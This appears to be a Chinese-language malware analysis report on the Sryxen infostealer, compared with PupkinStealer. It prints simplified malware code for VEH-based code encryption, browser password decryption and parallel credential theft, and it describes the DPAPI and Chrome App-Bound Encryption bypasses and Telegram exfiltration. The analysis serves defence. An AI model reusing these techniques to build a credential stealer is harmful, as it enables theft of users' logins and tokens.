1. 簡介

資料竊取惡意軟體,通常被稱為「infostealers」,在網路安全領域中代表著一種持續且不斷演進的威脅。這些惡意程序被設計用於從受感染的系統中竊取敏感資料,例如登入認證、Session tokens,以及金融資料。這些威脅的演變標誌著它們採用了越來越複雜的技術來規避偵測,並繞過作業系統和應用程式層級的安全措施。本報告對一種現代 Windows infostealer Sryxen 提供了深入的技術分析,重點關注其進階的反分析機制和認證竊取技術。此外,還將與一個相似但在結構上有所區別的竊取程式 PupkinStealer 進行比較分析,以突顯當代「惡意軟體即服務 (MaaS)」生態系統的多樣性。本分析基於對 Sryxen 架構的技術深入探討 [1] 和對 PupkinStealer 實作的比較研究 [2]。

程式碼動態隱形術:Sryxen 如何利用 Vectored Exception Handle 躲避靜態分析 | 資訊安全新聞

2. Sryxen:深入探討進階規避

Sryxen 是一個以 C++ 編寫並作為 MaaS 散布的竊取程式,它通過其高度複雜的反分析和反除錯功能,使其有別於一般商品化竊取程式。它的主要目標包括傳統瀏覽器認證,這需要繞過 Windows Data Protection API (DPAPI),以及實作了 App-Bound Encryption 的現代瀏覽器版本。

2.1 基於 Vectored Exception Handler (VEH) 的程式碼加密

Sryxen 採用的最值得注意的反分析技術是使用 Vectored Exception Handle (VEH) 來動態解密其核心邏輯。這項技術確保了包含所有資料竊取邏輯的 main malicious payload 在靜止時保持加密狀態,有效地擊敗了靜態分析工具 [1]。

該程序涉及三個主要階段:啟動時加密、執行時解密,以及返回時再加密。

2.1.1 啟動時加密

在初始化期間,包含核心邏輯的函式( MainBlock() )使用靜態、嵌入式金鑰進行 XOR 加密。然後,原始函式主體會被一系列非法指令覆寫,特別是位元組 0x1F ,這會在執行時觸發 EXCEPTION_ILLEGAL_INSTRUCTION

  1. // EncryptCodeSection - Called once at startup
  2. void EncryptCodeSection(LPVOID address, char* originalInstructions, int SIZE_OF_FUNCTION) {
  3. // 1. Save original bytes to a buffer
  4. VxMoveMemory(originalInstructions, address, SIZE_OF_FUNCTION);
  5. // 2. XOR encrypt the saved copy
  6. xor_encrypt((unsigned char*)originalInstructions, SIZE_OF_FUNCTION, xor_key, xor_key_size);
  7. // 3. Replace function body with illegal instructions (0x1F)
  8. VirtualProtect(address, SIZE_OF_FUNCTION, PAGE_EXECUTE_READWRITE, &oldProtect);
  9. for (int i = 0; i < SIZE_OF_FUNCTION; i++) {
  10. *((char*)((uintptr_t)address + i)) = 0x1F; // Triggers EXCEPTION_ILLEGAL_INSTRUCTION
  11. }
  12. VirtualProtect(address, SIZE_OF_FUNCTION, oldProtect, &oldProtect);
  13. }

2.1.2 動態解密和再加密

一個客製化的 VEH 被註冊用於攔截 EXCEPTION_ILLEGAL_INSTRUCTION 。捕獲到此 exception 後,該 Handle 會識別目標函式,從其內部緩衝區解密原始程式碼,並將其寫回函式的記憶體位址。這允許執行流程無縫繼續。為了維持隱蔽性,Handle 還會在函式的返回位址設置一個 breakpoint。當函式完成並觸發 EXCEPTION_BREAKPOINT 時,Handle 會重新加密函式主體,將其恢復到「靜止時為無意義資料」的狀態 [1]。

  1. // VEH handler - decrypts on illegal instruction, re-encrypts on breakpoint
  2. LONG WINAPI VEHDecryptionHandler(PEXCEPTION_POINTERS exceptions) {
  3. if (exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_ILLEGAL_INSTRUCTION) {
  4. // Find matching function and decrypt
  5. xor_decrypt((unsigned char*)EncryptedFunctions[i].originalInstructions, ...);
  6. VxMoveMemory((LPVOID)EncryptedFunctions[i].FunctionAddress, ...);
  7. // Set breakpoint at return to re-encrypt after execution
  8. SetBreakpoint((LPVOID)EncryptedFunctions[i].ReturnAddress);
  9. return EXCEPTION_CONTINUE_EXECUTION; // Continue execution with decrypted code
  10. }
  11. else if (exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
  12. // Function finished - re-encrypt it
  13. EncryptCodeSection((LPVOID)EncryptedFunctions[i].FunctionAddress, ...);
  14. return EXCEPTION_CONTINUE_EXECUTION; // Continue execution
  15. }
  16. return EXCEPTION_CONTINUE_SEARCH;
  17. }

這種動態加密/解密循環為動態分析帶來了巨大的挑戰,因為程式碼僅在執行的短暫瞬間以明文形式存在。

2.1.3 VEH 解密流程圖

下圖說明了基於 VEH 的解密機制的控制流程:

graph TD A[Start Execution] --> B{Call
Encrypted Function}; B --> C["Illegal Instruction (0x1F)
Executed"]; C --> D{VEH Handler Catches
EXCEPTION_ILLEGAL_INSTRUCTION}; D --> E[Decrypt Code
and
Write to Memory]; E --> F[Set Breakpoint
at
Return Address]; F --> G[Return
EXCEPTION_CONTINUE_EXECUTION]; G --> H[Execute
Decrypted Code]; H --> I[Hit Breakpoint
at Return]; I --> J{VEH Handler Catches
EXCEPTION_BREAKPOINT}; J --> K[Re-encrypt Code]; K --> L[Return
EXCEPTION_CONTINUE_EXECUTION]; L --> M[Function Returns]; style D font-size:12px style G font-size:12px style L font-size:12px

2.2 反除錯和反虛擬機檢查

Sryxen 整合了六種不同的反除錯檢查,每種都旨在偵測除錯器的存在,並在偵測到時終止 process [1]。這些檢查包括:

檢查機制 目標 偵測邏輯
NtGlobalFlag() Process Environment Block (PEB) 檢查 PEB->NtGlobalFlag 是否被設置為 0x70 (debug flags)。
IsDebuggerPresentAPI() kernel32.dll 呼叫標準 Windows API 函式 IsDebuggerPresent
IsDebuggerPresentPEB() PEB 直接檢查 PEB->BeingDebugged 旗標。
Interrupt_3() Exception Handling 使用 INT3 軟體 breakpoint 指令進行計時檢查。
UnhandledExcepFilterTest() Exception Handling 檢查 SetUnhandledExceptionFilter 的行為是否被更改。
SharedUserData_KernelDebugger() KUSER_SHARED_DATA 檢查固定記憶體位址處的 Kernel 層級旗標 KUSER_SHARED_DATA->KdDebuggerEnabled

雖然反除錯套件很強大,但反虛擬機檢查卻明顯較弱,只檢查 sysmon.exe 是否存在 [1]。

3. 認證竊取技術

Sryxen 採用兩種主要的認證竊取方法,這反映了它需要適應不斷發展的瀏覽器安全性。

3.1 DPAPI 解密鏈

對於傳統的認證儲存,Windows 瀏覽器使用 Data Protection API (DPAPI) 來加密 master key。 master key 作為一個 base64 編碼、受 DPAPI 保護的 blob 儲存在瀏覽器的 Local State 檔案中。

解密程序如下: 1.  竊取程式解析 Local State JSON 檔案,提取 base64 編碼的 encrypted_key 。 2.  對 key 進行 base64 解碼,並剝離「DPAPI」前綴(前 5 個位元組)。 3.  竊取程式呼叫 Windows API 函式 CryptUnprotectData() 。此函式至關重要,因為它只有在竊取程式在加密資料的 相同使用者環境 下執行時才會成功。 4.  一旦 master key 被解密,它就被用於解密單獨的密碼,這些密碼通常使用 AES-256-GCM 加密 [1]。

  1. // Crypto.cpp - AES256GCMDecrypt (Simplified Decryption Logic)
  2. std::string Crypto::AES256GCMDecrypt(const std::string& key,
  3. const std::vector<unsigned char>& ciphertext) {
  4. // 1. Check for v10/v11 prefix
  5. if (ciphertext[0] == 118 && ciphertext[1] == 49 && (ciphertext[2] == 48 || ciphertext[2] == 49)) {
  6. // 2. Extract nonce (12 bytes starting at offset 3)
  7. unsigned char nonce[12];
  8. VxMoveMemory(nonce, ciphertext.data() + 3, 12);
  9. // 3. Extract ciphertext and tag
  10. const unsigned char* ciphertext_ = ciphertext.data() + 3 + 12;
  11. unsigned long long ciphertext_size = ciphertext.size() - 3 - 12;
  12. // 4. Decrypt using libsodium (crypto_aead_aes256gcm_decrypt)
  13. // ... decryption logic ...
  14. }
  15. // ...
  16. }

3.2 Chrome 127+ App-Bound Encryption 繞過

Chrome 的現代版本 (127+) 引入了 App-Bound Encryption ,它將加密 key 不僅綁定到使用者環境,還綁定到特定的應用程式實例,使得外部 DPAPI 解密 cookies 和密碼變得更加困難。

Sryxen 通過利用 DevTools Protocol (DTP) 來繞過這一點。竊取程式會以 --remote-debugging-port 旗標啟動一個新的、無頭模式 (headless) 的 Chrome 實例。然後,它透過 DTP 與這個新實例通信,指示瀏覽器自行執行解密和取出其自身的 cookie 和資料。 [1]。這種方法巧妙地利用了瀏覽器對其自身加密資料的合法內部存取權限。

4. 比較分析:Sryxen 對比 PupkinStealer

雖然 Sryxen 代表了竊取程式複雜性的高端,但與基於 .NET 的 PupkinStealer [2] 進行比較分析,揭示了 MaaS 生態系統內技術方法的廣泛性。這兩種竊取程式都共享認證竊取的共同目標,並利用 Telegram Bot API 進行 Command and Control (C2) 和資料外傳。

功能 Sryxen (C++) [1] PupkinStealer (.NET) [2]
主要語言 C++ .NET (C#)
反分析 進階:基於 VEH 的程式碼加密、6 種反除錯檢查。 簡單:依賴 Low Digital Footprint,沒有進階混淆。
Chrome 127+ 繞過 是,通過 DevTools Protocol (DTP)。 否,依賴標準 DPAPI/AES-GCM 解密。
執行流程 循序執行,受到嚴密保護。 平行執行資料收集任務以縮短時間窗口。
DPAPI 解密 CryptUnprotectData() (C++ API)。 ProtectedData.Unprotect (C# API)。
資料外傳 Telegram Bot API ( sendDocument )。 Telegram Bot API ( sendDocument )。
檔案存取 直接檔案存取和 DPAPI 解密。 存取前對 chrome.exe 使用 Process.Kill() 來解鎖 Login Data 檔案。

最顯著的差異在於反分析和執行策略。Sryxen 優先考慮對逆向工程的 隱蔽性和持久性 ,而 PupkinStealer 則通過平行任務執行來優先考慮 速度和效率

PupkinStealer 的平行執行模型在其 Main() 方法中得到展示:

  1. private static void Main(string[] args) {
  2. Task[] tasks = {
  3. Task.Run(() => Chromium.ChromiumPasswords.DecryptingBrowsersPasswords()), // Decrypt passwords
  4. Task.Run(() => Desktop.GrabberDesktop()), // Grab desktop files
  5. Task.Run(() => Telegram.GrabberTelegramSession()), // Grab Telegram session
  6. Task.Run(() => Discord.GrabberDiscordToken()), // Grab Discord token
  7. Task.Run(() => Screenshot.GrabberScreenshot()) // Take screenshot
  8. };
  9. Task.WaitAll(tasks); // Wait for all collection tasks to finish
  10. DataDispatch.ZipCompression();
  11. DataDispatch.Dispatch(Variables.ID); // Exfiltrate data
  12. }

這種方法雖然缺乏 Sryxen 的進階規避能力,但在縮短竊取程式在系統上活動的時間方面非常有效,這是現代偵測系統中的一個關鍵因素。

5. Command and Control (C2) 和資料外傳

Sryxen 和 PupkinStealer 都利用 Telegram Bot API 進行 C2 和資料外傳。這種趨勢突顯了 MaaS operator 越來越依賴合法的、廣泛使用的通訊平台來保持匿名性並簡化基礎設施。

資料外傳程序通常涉及: 1.  將所有竊取到的資料收集到一個暫存目錄中。 2.  將資料壓縮成一個 ZIP 檔案。 3.  向 Telegram API 端點 https://api.telegram.org/bot<token>/sendDocument 發送一個 HTTP POST Request [1] [2]。

此方法簡單、可靠,而且在不中斷合法 Telegram 流量的情況下難以封鎖。

6. 結論

Sryxen 的技術分析及其與 PupkinStealer 的比較,揭示了 Windows infostealers 的動態本質。 Sryxen 展示了惡意軟體開發的前沿,採用了複雜的技術,如基於 VEH 的程式碼加密和 DevTools Protocol 漏洞利用,以繞過最新的安全措施。反之,PupkinStealer 證明了利用平行處理和依賴像 Telegram 這樣的合法平台的、更簡單、以效率為中心的方法仍然可以非常有效。 DPAPI 漏洞利用和使用 AES-256-GCM 進行密碼解密的共同點,突顯了在 Windows 平台上保護使用者認證的基本安全挑戰。有效的防禦需要一個多層次的方法,側重於可疑 process 活動的行為偵測(例如,啟動無頭模式瀏覽器、存取 Local State Login Data 等敏感檔案),以及對流向已知 C2 端點(如 api.telegram.org )的網路流量進行監控。